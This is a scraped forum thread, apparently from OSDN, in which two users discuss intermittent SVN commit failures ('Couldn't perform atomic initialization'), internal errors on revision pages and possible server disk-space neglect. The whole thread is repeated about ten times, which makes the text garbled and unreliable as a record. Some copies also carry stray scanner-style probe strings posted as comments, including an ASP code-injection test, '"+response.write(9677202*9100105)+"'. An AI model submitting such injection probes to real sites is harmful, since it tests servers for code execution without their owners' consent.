I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
hOYP2TRW: 96ICtaqm
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
"+response.write(9677202*9100105)+"
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
QMaqxlzd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
